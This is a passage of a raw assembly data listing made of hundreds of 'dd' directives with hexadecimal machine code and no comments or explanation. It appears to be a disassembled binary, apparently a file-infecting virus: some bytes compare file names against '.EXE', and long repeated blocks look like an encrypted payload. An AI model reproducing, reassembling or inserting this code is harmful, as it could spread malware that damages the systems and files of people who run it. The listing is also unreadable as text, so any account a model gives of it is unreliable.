0D8C9D30Eh, 0ADA8F896h dd 0A2B8315Dh, 3A13858Dh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 1572D9C3h, 9E9B534h dd 5B000000h, 0A1BB256Dh, 3779A661h, 0E2816660h, 0B8BBDC0Bh dd 616E9F48h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8A60C5C3h, 0BA6657D5h, 6158CF23h dd 0FE9h, 0B5999800h, 6F4C1E57h, 108E7FE5h, 0D3797AA6h dd 6BD8589h, 8D0F0607h, 8, 28E0Fh, 61600000h, 1A1E9h, 7810F00h dd 60000000h, 0BF0F6160h, 0F9561C9h, 0C87h, 68F0F00h, 50000000h dd 5A310F52h, 6E95058h, 0E2000000h, 0A6AEE932h, 0F609538h dd 486h, 6EBF6600h, 8E912h, 2F210000h, 37E2B44Bh, 8B615181h dd 10E9ECh, 21B70000h, 0EA9BC47Bh, 3B4782A1h, 2C36C1EAh dd 8A0F07D3h, 20h, 50E08160h, 0E85848FCh, 12h, 6C799DAh dd 0E64D16F5h, 0BACC11A4h, 0AAF24F9Eh, 615B5CBBh, 0FFCC483h dd 198Dh, 0E8FC6000h, 10h, 7F25A982h, 178BE8CEh, 4ABF12FCh dd 0C04FBCBBh, 6A60615Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 9B7C351h, 9E906C2h dd 0AE000000h, 15B882Bh, 0DE2CD343h, 0E8h, 0EA815A00h dd 60C75FCh, 0FC45C7h, 83000000h, 71699BAh, 840F0106h dd 98h, 6A006A52h, 0F192FF0Fh, 5A060703h, 701B8289h, 9A8D060Ch dd 60C701Fh, 2803C752h, 53000001h, 6D92FF50h, 5A06071Dh dd 1F9A8D52h, 53060C70h, 701BB2FFh, 92FF060Ch, 60706BDh dd 74C00B5Ah, 1F9A8D50h, 8D060C70h, 0C933247Bh, 104F981h dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h dd 1309BA8Dh, 4D8B0607h, 32A4F30Ch, 0FF52AAC0h, 828D0875h dd 6071309h, 5592FF50h, 5A060731h, 0A075C00Bh, 1FC45C7h dd 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 8E9h, 619A4200h, 22069AA9h, 0D28BFCABh dd 78028D8Dh, 56F8060Ch, 5F69EE80h, 1B418D89h, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0C0C10CC3h, 34241CB7h, 585C7FAh, 5C060706h, 6A000067h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0C191C356h, 0F7D39C13h, 118D0Fh, 0CE90000h dd 0B6000000h, 0E073CAE9h, 0B557A2A5h, 0E9B031C5h, 0Bh dd 727BC774h, 27608E0Fh, 0C7E35895h, 7006985h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B660FEAh, 9D8960FEh, 6071A79h, 9E9h, 98706300h, 0C84E4C4Fh dd 0FF61AE1Fh, 73041B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0A4BB9263h, 3C60194h dd 727299Dh, 0C0816606h, 95FFDE8Bh, 60701E1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 96C35747h, 9AB1FC0Ch dd 0AE8h, 87A51F00h, 0A839F8BDh, 66C29CD4h, 0F85EDE8Bh dd 95FF006Ah, 6073201h, 5AEBC08Bh, 8E4C0FA0h, 0FB9BE327h dd 0AF742E94h, 0D2296855h, 0AC2D3B60h, 0A88A3DC3h, 49C28ACFh dd 0E9626758h, 0F895C7FEh, 5D6C80A1h, 0CFF4A5BAh, 7E891926h dd 461F3091h, 0F92971A4h, 0FBE9F991h, 0BA3BEF2h, 6CCAC8B3h dd 780AF2EFh, 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 528C9AAFh dd 66E9A7F7h, 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah dd 60701A9h, 7CFE858Dh, 0D0FF060Ah, 332D8589h, 0FE8B0607h dd 680CEFC1h, 20060000h, 26A006Ah, 0D6857h, 95FF0001h dd 607332Dh, 32E9h, 4D85C600h, 5606071Ch, 0C530DF68h, 0EDB5FFA9h dd 8D060712h, 0A7CFE85h, 89D0FF06h, 703C985h, 0C5858D06h dd 5006072Ah, 56A406Ah, 0C995FF56h, 61060703h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 78E48589h, 428B060Ch, 0DC85890Ch dd 8B060C78h, 85891042h, 60C78E0h, 791AB58Dh, 858D060Ch dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0C78E4B5h, 0DC858B06h dd 83060C78h, 0C78E0BDh, 840F0006h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 0E4858908h, 8D060C78h, 0C796BB5h dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 0C78E485h, 4C206h dd 78E4858Bh, 8B060Ch, 78E48589h, 0CF060Ch, 60000000h dd 7941B589h, 8589060Ch, 60C793Dh, 625858Dh, 408B0607h dd 7A858944h, 8D060C79h, 0C79B0B5h, 35858D06h, 0FF005B7Eh dd 858B61D0h, 60C7941h, 3D9D8BC3h, 0F060C79h, 33C43B7h dd 785B8BD8h, 793D9D03h, 738B060Ch, 3DB50324h, 56060C79h dd 8B207B8Bh, 0BD031C73h, 60C793Dh, 793DB503h, 83FC060Ch dd 8B41FFC9h, 0C79419Dh, 3178B06h, 0C793D95h, 4C78306h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 0C793D85h, 41858906h, 8B060C79h, 8BCE8BF0h dd 7ABD81C1h, 60C79h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 60C797Ah dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 7ABD8100h dd 60C79h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 60C797Ah, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0E8858DCFh dd 89060C78h, 7107D85h, 7E858D06h, 89060C79h, 7212D85h dd 45858D06h, 89060C79h, 7173185h, 0EE806h, 0B1C40000h dd 61236A52h, 3A6EDA50h, 0A8DC299Ah, 5EF98B66h, 263323BFh dd 3EC68136h, 81000072h, 0BA6FE0CFh, 0BB02h, 0F600000h dd 38Eh, 4FE78000h, 148B61FCh, 81C38A1Eh, 0AD6151EAh, 0A8B4BF07h dd 0C28120F0h, 2159800Ch, 1B890Fh, 0E9500000h, 14h, 0BE071E60h dd 67B9CEFEh, 0E697DECDh, 4D23362Eh, 24CC3B11h, 81F28158h dd 893FE85Ch, 0B8661E14h, 0CF81D8EDh, 1FA7D289h, 0E801EB83h dd 10h, 0EBFABB88h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 0ABEF8166h dd 4B4B5FBDh, 49B9664Bh, 0A4FB81AEh, 0FFFFF8Eh, 1F85h dd 3810F00h, 80000000h, 29E9D6E1h, 39000000h, 7E30CA14h dd 79DBE17Ah, 0ADE21A12h, 3BC0955Fh, 0DD8EF181h, 5BE9358Ah dd 7DFFFFFFh, 59A6E7Ah, 5EA3A396h, 0B286DC5Fh, 15CE9h dd 0DB183F00h, 0C34CC3F2h, 0D15FB094h, 0DA51BB08h, 0D951B851h dd 0D25FB308h, 0F9768F51h, 0AB238638h, 8B222751h, 3F7E7BC6h dd 0ECB19C62h, 9D130750h, 9D12D751h, 9D13FF51h, 9D13FB51h dd 2 dup(9D13FF51h), 9D13D051h, 9D13FF51h, 9D13F751h, 9D13FF51h dd 0EE6AAC51h, 9D7E9A25h, 0F261AF71h, 0EE609A32h, 9D13FF0Ch dd 3Ch dup(9D13FF51h), 0FAA85D51h, 16E4E931h, 5C680000h dd 0E9060C7Fh, 0FFFBC6DFh, 0C804068h, 0C6D5E906h, 2C68FFFBh dd 0E9060C81h, 0FFFBC6CBh, 0C81ED68h, 0C6C1E906h, 7868FFFBh dd 0E9060C83h, 0FFFBC6B7h, 0C851F68h, 0C6ADE906h, 0F368FFFBh dd 0E9060C85h, 0FFFBC6A3h, 0C86B868h, 0C699E906h, 0E068FFFBh dd 0E9060C88h, 0FFFBC68Fh, 0C89BE68h, 0C685E906h, 6F68FFFBh dd 0E9060C8Ah, 0FFFBC67Bh, 0C8B2868h, 0C671E906h, 5F68FFFBh dd 0E9060C8Ch, 0FFFBC667h, 0C91AA68h, 0C65DE906h, 8068FFFBh dd 0E9060C92h, 0FFFBC653h, 6DD24A0Ah, 0CB6CE8EFh, 2A930949h dd 8A33AB2Eh, 0EC51CD8Eh, 541774E8h, 0F8F567D8h, 1B59BB7Ch dd 0BE38189Dh, 0D12D7DC2h, 2BC17C0Dh, 8705026Ch, 403CB9A3h dd 168275F6h, 926ED854h, 5BE8A1FFh, 0B97AAE3h, 271AA6D7h dd 9A5DD86Ah, 5AC0BC3Eh, 1A531AFEh, 322D6A27h, 0E67416CFh dd 18DB6BE3h, 1A2F5E82h, 0E6516A27h, 58DC9513h, 568A66C2h dd 6A271A27h, 4002DE59h, 1FA131C4h, 63682E4Dh, 17BA46F0h dd 88CB6EF6h, 46F4470Ch, 0B8CD55A8h, 756C20E6h, 0E577CFE2h dd 1CDF6FEDh, 0B99E67D9h, 34E77A3Bh, 25000000h, 1D5538C9h dd 0B04C2F9Fh, 6A09B531h, 0EDEF73EFh, 26682EC2h, 245CB934h dd 0DA9925A0h, 95211C27h, 20B60CB1h, 2356C16Ch, 3B661CE5h dd 0FD697Ah, 0DDAB0000h, 890D44A3h, 5FC3BE3Dh, 0A91FA30Ah dd 86799A29h, 0D89CA48h, 8C084F8Dh, 0F37A9722h, 865CC0E0h dd 0D436F00Bh, 827A7F9Ah, 2419B07h, 51B37386h, 32249917h dd 6A278356h, 0B93AD193h, 77F2713Dh, 0F97771EBh, 1153C106h dd 0B17DF9FAh, 29951753h, 0E89ACF4Ah, 0A061748Dh, 2F4423Dh dd 4DC98A6Dh, 1B8702E1h, 49125BBFh, 0F16C6A27h, 0FA68EC0Eh dd 41682E15h, 0EBF9712Ch, 0A6597D85h, 291FA093h, 9246D458h dd 6E273839h, 58D49163h, 8920DEEh, 7C7491D2h, 58B87DF8h dd 686C21Fh, 9F60598Bh, 0E3AB815Dh, 14041Dh, 4FC58100h dd 0E96D6AF6h, 88CC454h, 0A82CA5B7h, 0CE4A0517h, 8CEF6F69h dd 72EE57D3h, 0D642FB73h, 0B1A31490h, 0A604B937h, 0C3F7865Ah dd 9C896C2Bh, 26A2DD3Ch, 0D4A8FD91h, 698E5C64h, 3DBF19DCh dd 0FB6DB47h, 0FB987522h, 0D6A86D90h, 7DC94D04h, 0C9D97BFEh dd 0B2A63438h, 682EC238h, 898D3924h, 6C20B6E4h, 0CD0BAE29h dd 7A3B6604h, 0C341h, 0A3DD8300h, 88B0F44h, 0A7235CBEh dd 0B7573317h, 0D0926A27h, 0B8E6974Bh, 9D986A27h, 36800443h dd 97853AB5h, 79EF5FD5h, 0C2168488h, 682EE400h, 0B24CF16Ch dd 4B22EA8h, 5B149C67h, 0B9D41D9h, 776E2744h, 8BC41684h dd 23BDCC10h, 50C36A29h, 328E60D5h, 29239F2Eh, 8376E16Ah dd 3CBB5611h, 18551C6Eh, 0E762E0ACh, 0A70BB864h, 8C32815Dh dd 1320F2h, 6BE19D00h, 850146D2h, 24A02030h, 44C08193h dd 0EA6661F3h, 0E88B4355h, 4ECA73EFh, 322E970Fh, 8D8F30B4h dd 0C2E055D3h, 3CD39A7Eh, 0A0AD6C2Bh, 26A2DDE0h, 0A925A6B4h dd 18FC5E1Dh, 6A27BC51h, 14C92C2Fh, 81184A04h, 667EA30Bh dd 520EB732h, 9925A3DDh, 0A12239BBh, 5FDA9925h, 0FE7E7AE6h dd 1490D230h, 0F6BACFA3h, 214D72D8h, 0E4D61ADDh, 3FA3A55Ah dd 2EDCC9DBh, 0BAA568h, 0A6FB6A1Ch, 591BC17Fh, 0D7A818E3h dd 0BD38BC34h, 0C11B39DDh, 0C4A099A3h, 3BDF5716h, 9DADB172h dd 0DBEE110Ch, 8778EE58h, 5EC11585h, 3C9FA822h, 0C18359C1h dd 9E28AC2Ah, 0C3162DDh, 0F86E4AA4h, 4521393Ch, 0EE58D497h dd 77F2766Ch, 0DA56108Ch, 68E48965h, 0AD61F07Bh, 24A632C5h dd 991AA3B7h, 0F9649BA7h, 0E1FFD27Eh, 6C1272CEh, 123492h dd 7FF5F100h, 991D5AC6h, 38BC3424h, 58DC9587h, 0FE7A75E7h dd 0FC9F5F39h, 0A2BE0783h, 612AB23h, 0E173C440h, 0F6D469E7h dd 3DC7F66Ah, 0ACB96C2Bh, 25A3DDECh, 51D2AF99h, 6925A3Ch dd 0D83AAC48h, 6A27B891h, 69F16CEFh, 2EEECFF5h, 0FB0A368h dd 6403530Dh, 0C6CFEB4h, 2513A31Eh, 8E52C84Ch, 6E23D0FBh dd 0DA009A85h, 0AEDF0398h, 0D06A2C20h, 48CC8B65h, 67384DCDh dd 925ACD25h, 6EEA23D6h, 0D046F06Ch, 59BD1D1Fh, 682F86F4h dd 0C9138F8Ah, 0A3CA0E8Fh, 0DD6C2071h, 0C25EE762h, 0ED6B6580h dd 0D7F1A241h, 0F2238DA1h, 54C26CEFh, 0DD01999Bh, 6E290717h dd 8B2CF87Bh, 9A814FB8h, 11730AD4h, 0B4300000h, 0DE958738h dd 7377E55Ah, 9DD444F9h, 3BB4A419h, 5E9E06BFh, 71C6423Dh dd 0D56AE2E3h, 328B0147h, 9728A426h, 86372B37h, 0F86C2B3Dh dd 0A2DDAD6Fh, 0DA979126h, 0EE10C456h, 92682EB4h, 0BB15A4B8h dd 0E86B6C20h dd 0A13DC16Dh, 20BB0CBDh, 7C87726Ch, 0F06AE6E0h, 0A10F3BDDh dd 0FD031595h, 0C4E0B11Ch, 0BE778A42h, 0C3BB3EDCh, 930DF073h dd 7DEB5BD1h, 0C61A8084h, 6E29A528h, 5B6DD944h, 0E2661DFFh dd 0F56C9754h, 87621CC2h, 28A94BC1h, 988C31ACh, 61F565E7h dd 682EDADFh, 7A06B0A3h, 4406E3E0h, 2FD7EC8h, 0E5631DFFh dd 7FFDFB59h, 97154DCFh, 0DA9D7427h, 9ED1A465h, 991936Ch dd 29DD23D5h, 5BDC5F6Eh, 0B501FFF9h, 27A22C51h, 0E4974E6Ah dd 8334B032h, 0BB45DAEFh, 45FB81E3h, 28A426B2h, 0E7D21FB2h dd 3A7C6448h, 601107C7h, 849A7EDCh, 0D8682EE0h, 0FBA8FD5Dh dd 1079D3h, 66F83DC0h, 9612508Ah, 1EAF4B28h, 0C96C209Dh dd 0C2A10D8Bh, 87698C8Fh, 71F38CD6h, 115875E9h, 5E16E23h dd 2CE1A8D1h, 0F76BD66Ah, 2CE15A63h, 0C639246Ah, 0A0BA00F3h dd 3F1BAB27h, 6A2CE18Ah, 26B4B849h, 80D2904Ah, 72C72E9Dh dd 48B32E01h, 2F295FCAh, 7B74E668h, 0AFB34FFFh, 6C20DE1Eh dd 877AF560h, 3D941BCh, 7900D441h, 76C20DEh, 0DB019914h dd 0D1921C98h, 696BE92Eh, 86C143F3h, 1F07DE0Ah, 4CF28756h dd 0FE8B2h, 0B329A500h, 0CD490E0Ah, 6CE8E868h, 8C0849CBh dd 32AE292Bh, 0B0D30B8Dh, 1602BB37h, 0FA66DF57h, 55C778FCh dd 8A189D1Bh, 3F1BA2B6h, 0E8656C2Bh, 26A2DD28h, 4BC18391h dd 578B67FBh, 6A27BC26h, 0BE1ADD58h, 34A1213Ch, 27BC9920h dd 0F974E76Ah, 0C9E5AE4Dh, 86475726h, 2C2E981Bh, 878531B5h dd 4DE04EC6h, 0E1B007AAh, 0DAEF476Ah, 7A759566h, 0E6B330FEh dd 0B4317B92h, 72ED8E38h, 0D5530D8Fh, 0AA29E860h, 977C7434h dd 0DC000001h, 0D44A3DDh, 0C3BE3D89h, 0CF13EF73h, 6A27BCBEh dd 36A255C0h, 818738B4h, 6AEE6CF0h, 682EEB44h, 95713D38h dd 6C208DE0h, 0C907AA2Dh, 7A3B9108h, 495Dh, 38C9BF00h dd 38B2A634h, 0F3682EC2h, 0D7936E69h, 8F0AE955h, 76B9BC3Fh dd 2A73B8Bh, 0DA5B331Dh, 2FAB4E5Fh, 6C208E9Ah, 73ADC057h dd 7A3B8DB2h, 101F3h, 0F6ED6F00h, 46C472h, 3EB93A84h, 82F1B85Ch dd 8C8F6C20h, 0EA3AF69h, 6183E1C5h, 8D0944D7h, 736DEF12h dd 0D85BDF94h, 0D48926Eh, 1D462591h, 0CD7ED7C0h, 9E7AFDE0h dd 9D561DDh, 161864h, 9E7A7DB4h, 10D363DBh, 0FB7173EDh dd 118FC94Bh, 0E7DEAAACh, 591B6A27h, 0E25A1EFCh, 27E87900h dd 0F814076Ah, 3BFC7FFBh, 0B6E634CDh, 194BA2E0h, 0CDB5C418h dd 48CB6A27h, 14C852CDh, 68201A2Ch, 0A2213B97h, 7CBDCC26h dd 1FDD6C2Eh, 0CCD1851Bh, 0E01B0649h, 1CF862DDh, 0F803FBFEh dd 5EE7631Ch, 0A21A5EBCh, 682FD5Fh, 58A215DAh, 0AC32F887h dd 0E41h, 0B50A82C2h, 13A420A7h, 72CB4101h, 0D26BE3E6h dd 34890546h, 8CCFACA0h, 30ADAF10h, 531103B4h, 0F6F060D5h dd 19E5C57Ah, 2B39B4C5h, 0FF5DCA6Ch, 9126A2DDh, 0E3591FFDh dd 59C2BC18h, 27BCF485h, 4C908A6Ah, 6A27BC3Dh, 0DA55D043h dd 0A3DDB765h, 39BB9925h, 5C1EFA43h, 0FE056E0h, 63498D0Dh dd 1F682ED4h, 235CBE1Ch, 0C79B5CA7h, 34FEA8A2h, 58A3380Fh dd 76B80h, 0A2DD1E00h, 9BC9826h, 0CA6A27BCh, 0ADAF3335h dd 0AF43B632h, 0DAE377D3h, 0A46A27BCh, 79DC46B9h, 27682430h dd 3CB4A634h, 0B7A545B8h, 1A06BF35h, 8E52DC58h, 0C79F2E32h dd 69E16C2Bh, 2BC7C4F5h, 3CBFBA6Ch, 9826A220h, 3BB420DBh dd 0A0239BDEh, 5B378174h, 0C49A4087h, 0D6Dh, 8136AE2Eh dd 0EF50D493h, 4EF7756Dh, 0AE1797D2h, 0B531B2h, 0B83B5894h dd 0DC997B3Ch, 77DDF60h, 0A2DC3C81h, 2D319126h, 2B398029h dd 0B311FE6Ch, 647A2DDh, 4D8F138Eh, 492A9410h, 0E1E371B6h dd 7F79DB6Bh, 4A08E5E0h, 66D053CEh, 5FF7BA51h, 0B346C2BDh dd 9429A721h, 345C559Ch, 0D1074h, 0DBF00000h, 6A27C2B8h dd 0FDA2821Ah, 0A318FFFFh, 0F34339B9h, 60158D70h, 0C96A27BCh dd 0FFEF75A4h, 0EF12EC1Eh, 16848879h, 0AA26A0BAh, 6A8D094Eh dd 24F62DE8h, 0BCF4368h, 6C2B0162h, 34A6211Ch, 0CE404891h dd 12E5CCB5h, 0E46062F8h, 245DBF53h, 81C35DA0h, 1E59BB0Bh dd 5E8D76A2h, 8248875Bh, 0CA8FCh, 0F3696500h, 0D89CE4Ah dd 0AC28A8A8h, 0CC48090Bh, 72EEE96Bh, 7013CBCDh, 0D642FB77h dd 0BAA61F97h, 1507B83Ch, 4A58DD5Bh, 3A5B62F6h, 28256C2Bh dd 25A3DD68h, 0F569C599h, 6A27BCC4h, 0D844BFBAh, 394229Eh dd 0F6875B37h, 886A27BCh, 0BC3F4E92h, 0D6416A27h, 7E31A05Bh dd 1DA21E58h, 345BDE27h, 0DA774h, 0DB650000h, 6A27C2B8h dd 0FCDA821Ah, 0C918FFFFh, 0B2A63438h, 682ED278h, 8052AFE4h dd 13011FC8h, 0C876F2F1h, 2832A82Bh, 9C2D31AAh, 0E26C205Dh dd 0C501F477h, 205D3F41h, 5467F06Ch, 3C415B9Ah, 1E92A7Ah dd 0DBEE0000h, 6A27BC86h, 0ACE78A10h, 56B9B6E7h, 9C709669h dd 32FC787Eh, 0B494AE67h, 0D95401C6h, 0A338BA26h, 0F4423EB9h dd 0F8EA9377h, 0A9946A27h, 0C98B892Eh, 2A67E353h, 0ED6A27F8h dd 46C472F6h, 693F8F07h, 2878BFF2h, 9CDE00B3h, 0DBA99F20h dd 6761E353h, 8AC454E9h, 0DF98C0Eh, 0DBEDEBC2h, 9470BE41h dd 6A270AB1h, 7EB8FB5Ch, 743515B7h, 1768Eh, 4C906C00h dd 6A27023Dh, 0B2D7045Dh, 0A8E3E44Fh, 0DD8E4AADh, 0BB9925A3h dd 0AFA4339h, 0CB1A2575h, 0A188480h, 0B9CF138Fh, 12682E1Ch dd 7A1BA2B6h, 0FA656C20h, 75C13C07h, 207AEC91h, 3CB83B6Ch dd 436AEE72h, 3D6C207Ah, 28A426C2h, 1F52099Eh, 0BEF16698h dd 27568A66h, 596C207Ah, 60A11BDEh, 257A3C26h, 35h, 3438C9E7h dd 708103A6h, 0AB4C66D3h, 5C1FAF2Dh, 18FC1EE1h, 682EE462h dd 0D733837Eh, 6C2090A2h, 849936Fh, 0BE41228Ch, 9B5A9427h dd 0EA7A3B87h, 0B3h, 25A3DD2Eh, 0BC38BB99h, 0C6423CDEh dd 5711F333h, 0EDEF6DD9h, 68260AA1h, 0DE9F9428h, 0D768EB66h dd 27E90F43h, 0BC38BA6Ah, 0F0740DFBh, 124C8E6Ah, 0A94B2896h dd 6003B329h, 4E3D059Dh, 0E6516820h, 143F5174h, 662B2AA5h dd 0E29D7F93h, 6366F466h, 7C985BEBh, 0B87D8004h, 80C21F58h dd 0DF39BA04h, 0D0932399h, 43628B55h, 41098758h, 0A80BFh dd 0CB413D00h, 65E1E672h, 840040D0h, 24A02133h, 4AC68193h dd 86BE3F5h, 0EE6AD34Fh, 52CE77EFh, 2D2F9014h, 228035B3h dd 34733ADEh, 0D6C2Bh, 26A2DD80h, 4BC18391h, 497518F2h dd 89CD376Eh, 0A3429E61h, 0BC6A13C7h, 29146A27h, 0EC178DCFh dd 4CFA7670h, 0AF2FAAB0h, 0D8EC854h, 27BCA0C9h, 0E063DE6Ah dd 3BA815Fh, 0B51F0000h, 0E0641D65h, 17C9E7Ah, 0C6E07285h dd 7D682430h, 0DD555728h, 0C2356E75h, 7C9E7CFFh, 0A9358105h dd 2BDE04B5h, 7CFF7A6Ch, 32CF41F9h, 8EA8AC2Eh, 0E26E22A7h dd 963BC777h, 624F7DC9h, 4FCB2E21h, 6A2C283Ah, 934D60F7h dd 743FF452h, 32E13h, 96DBF100h, 476A27BCh, 6A27BC2Fh dd 0E37F01FEh, 2EB8997Fh, 8E5AC568h, 8755BF69h, 0A2B04EFCh dd 63000009h, 0C454E963h, 0A6B20B8Fh, 715AA22h, 0E775CA42h dd 0C1D768E4h, 0F16D6E0Dh, 1591CC4Ch, 0B632B0A0h, 0DB511301h dd 64F84462h, 6C2B3555h, 0A39E3A2Bh, 0BD403CB9h, 9B2BA123h dd 0CA50D4ADh, 24307F16h, 5E14C668h, 0F71C27DAh, 3B37AC4Dh dd 0C374F7B3h, 35B32D2Fh, 9117EA89h, 0DC378AE0h, 592A53Dh dd 49CC108Ah, 0D76E2880h, 6964F664h, 83CE48EDh, 506A2768h dd 342499A3h, 4B22EBB9h, 7A8C3420h, 399DBB29h, 0DC5FB82Bh dd 2C1A2B7Eh, 6237AD2Fh, 6F9A331h, 8C084AC8h, 393B3422h dd 0B977BDA1h, 181B682Eh, 562831CCh, 64FAA087h, 8F1h, 5BA32B2h dd 63D45017h, 0C27BF1F1h, 229B1356h, 8439B536h, 3CBFDC10h dd 601DFF40h, 83C153E4h, 26A0B005h, 0A9B515AAh, 2B3604B5h dd 2FED7A6Ch, 374B0EA3h, 11FD8109h, 0CE78F4F7h, 0A55ACA2Dh dd 0F46A3FA3h, 78A0707Ah, 39F7386h, 0BF2399D9h, 27E4125Bh dd 0EF16C6Ah, 24771194h, 0E8C8F68h, 0A81692CCh, 0DA30CBh dd 8B51C945h, 63E14DCFh, 9265E064h, 6FEFF5Dh, 5D8124B8h dd 0E9901BCAh, 7E73F104h, 0D5FC60FAh, 0BB6E28F4h, 0A6219FD9h dd 0CF512E18h, 85C98953h, 0DDA4FFBEh, 0FA1691AEh, 30B303FBh dd 2B292DCDh, 47682E97h, 0E0FF08D4h, 0A06E8755h, 838DEh dd 3F9F500h, 9D195EBAh, 3CB83818h, 5CD8997Bh, 827E79DBh dd 0C0A35B3Dh, 0A6B20B87h, 0A16AF27h, 0E577C84Ch, 0FAC86DEBh dd 37CBF266h, 58B56C2Bh, 0F3A3DDF8h, 0A477588Dh, 0B17DF835h dd 0FEFA1153h, 0B033B07Eh, 97DAB106h, 34890741h, 3478F53Ch dd 9D41DD74h, 6A27ADECh, 0D35CA792h, 143h, 25A3DD31h, 0F569C599h dd 6A27BCC4h, 0D844BFBAh, 0AB9D229Eh, 14C852D6h, 682EEB62h dd 0C0E96DC9h, 0BE6C208Dh, 8A75B843h, 8D95D83Ch, 5426C20h dd 95D73581h, 65FCAF1Fh, 8E09ED52h, 90E42DEBh, 2CA17A3Bh dd 63000000h, 0A63438C9h, 2EC238B2h, 8D392468h, 20B6E489h dd 7D5296Ch, 0FD7EC844h, 59E56763h, 0BDF0679Ah, 3B65C203h dd 0A7837Ah, 0DD410000h, 0A7B525A3h, 9757AA22h, 0D65211CBh dd 6B698B68h, 5FA241EDh, 940682FDh, 3D890546h, 898BBBBEh dd 67E551CFh, 0B456EF65h, 1AA420A6h, 0A03CA659h, 1B6A27D0h dd 1D336776h, 5CA727CBh, 0B50A86C0h, 20BABEB3h, 2040C43Ch dd 2DADA868h, 8F30AC2Fh, 0B337D28Dh, 73EE8D39h, 585770A1h dd 7D03CB87h, 701h, 0F54AC282h, 53E46067h, 0B20B81C1h dd 12AB23A6h, 74C94506h, 0CC8FEC60h, 706DEF50h, 93D143F4h dd 36B0A015h, 59A505BAh, 2B30F485h, 3F9D8A6Ch, 0BE3AB9A3h dd 50AB23A2h, 0B60F8BC4h, 0BAC28AAh, 15C7A349h, 7504DE5Ah dd 0B6A27BCh, 696BF508h, 87C143F3h, 0BCFC9109h, 79D32458h dd 0F570ECEEh, 19DC581Bh, 3A08E4h, 0A3960000h, 0F34339B9h dd 807B8D70h, 7FE3651Ah, 0B311352Ah, 3FF5EE8Fh, 0E926736Bh dd 8466992Ch, 24163350h, 5CDE5968h, 9F50E696h, 8DD93D9Dh dd 0E16E286Ah, 2A2AC476h, 70000000h, 0A63438C9h, 2EB55CB2h dd 0A9150068h, 0F19BF5ADh, 0CFE26187h, 7AE0641Dh, 0D65D80E6h dd 4700DC91h, 19F748CBh, 0F3h, 3438C987h, 15A7CAA6h, 0D4F59FB8h dd 0AF1F9BD8h, 34AE51CCh, 68248899h, 0FF668D20h, 1B9C17FCh dd 0B962DDE0h, 6FF6C14Bh, 5053924Ch, 0A0127A41h, 0C8000000h dd 44C1E86Ch, 53166C2Bh, 0C5886BDBh, 0C975A75Ah, 0B4A63438h dd 0A446B93Dh, 0FD24A5C8h, 572ADB82h, 0AF9836ACh, 39236824h dd 0F03B3EBAh, 9C6CD405h, 815531CDh, 6C2B5FF8h, 0F1609B86h dd 568A66BEh, 6C2B5F27h, 4302DE59h, 75BC30CBh, 307A413Fh dd 4Bh, 13C7A310h, 6A27BC6Ah, 0F945C3BDh, 31C4377Ah, 20BABEB3h dd 2430973Ch, 0F91DFD68h, 6C2BC0B0h, 37B153CEh, 0F36E0DB9h dd 6732DA2Eh, 822B2F8Bh, 556C2BC0h, 4E2D991Fh, 807C791Bh dd 5063F205h, 40DC4F96h, 21167Ah, 0DBFA0000h, 6A27D21Eh dd 0BE3822B8h, 0A57039DDh, 130E6A27h, 0B2452690h, 0FFFEEB5Ah dd 671CFEFFh, 0C9FC18E3h, 0B2A63438h, 68242F27h, 9C60CE49h dd 9456EEC9h, 1FF9CA25h, 961EE15Bh, 0E59448D9h, 9B6C2B43h dd 59BD1D98h, 6E28CF0Dh, 0DE48F661h, 5F831F21h, 6824B3CAh dd 0BD149B4h, 0F177C84Ch, 0E1671D00h, 74F0F755h, 789C7EF9h dd 6E28D71Dh, 0FDDA5673h, 6D3A4397h, 0D9446A27h, 34716688h dd 0F80BB2A6h, 8A756A27h, 0B49930Fh, 0C876F2ECh, 9F32A82Bh dd 0FC319A0Bh, 9449AC4Ah, 4DE9E882h, 2B8763E2h, 19F8637h dd 0E57DF8F2h, 0F2019FD4h, 0C854AFAAh, 0AFAD128Eh, 1107B72Dh dd 9A7EDC60h, 0F008F04Ch, 0B6C71BF7h, 0C8F40687h, 9487AA4Dh dd 5EBC9C2Ah, 0F958A31Bh, 0EA6660B6h, 6A81C755h, 4DC9886Dh dd 48764D2h, 9F1B58BAh, 185B222Fh, 6B6580C6h, 72E872EDh dd 0C80DF074h, 0EBEF0A48h, 0A248F671h, 9F1756DCh, 34B02D2Fh dd 9DD0A78Ah, 0A7CAA61Ah, 9EA41A3Eh, 0AA29CC6Fh, 30ADAF07h dd 96690AB4h, 77C84C0Ah, 2936C9A5h, 27BC8435h, 9A12536Ah dd 19044F2Ch, 0B032109Eh, 3FB4A634h, 848640BBh, 